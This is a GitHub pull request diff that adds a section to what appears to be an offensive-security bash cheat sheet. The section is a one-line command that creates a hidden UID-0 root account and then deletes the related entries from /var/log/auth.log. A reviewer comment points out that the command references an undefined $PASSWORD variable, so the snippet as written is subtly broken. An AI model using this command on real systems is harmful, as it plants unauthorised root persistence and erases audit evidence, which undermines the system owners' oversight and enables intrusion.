Skip to content
Merged
Changes from 3 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions scripting/bash.md
Original file line number Diff line number Diff line change
Expand Up @@ -127,6 +127,11 @@ I find this best works with a socat listener due to the readline support.
socat readline TCP-LISTEN:1234
```

**One line root useradd**
It creates a new root user. You have to change some parameters.
```bash
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWORD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like you set PASSWD as the password variable but you call $PASSWORD later. Is that right or should the reference later be $PASSWD?

```

Credits
-----------
Expand Down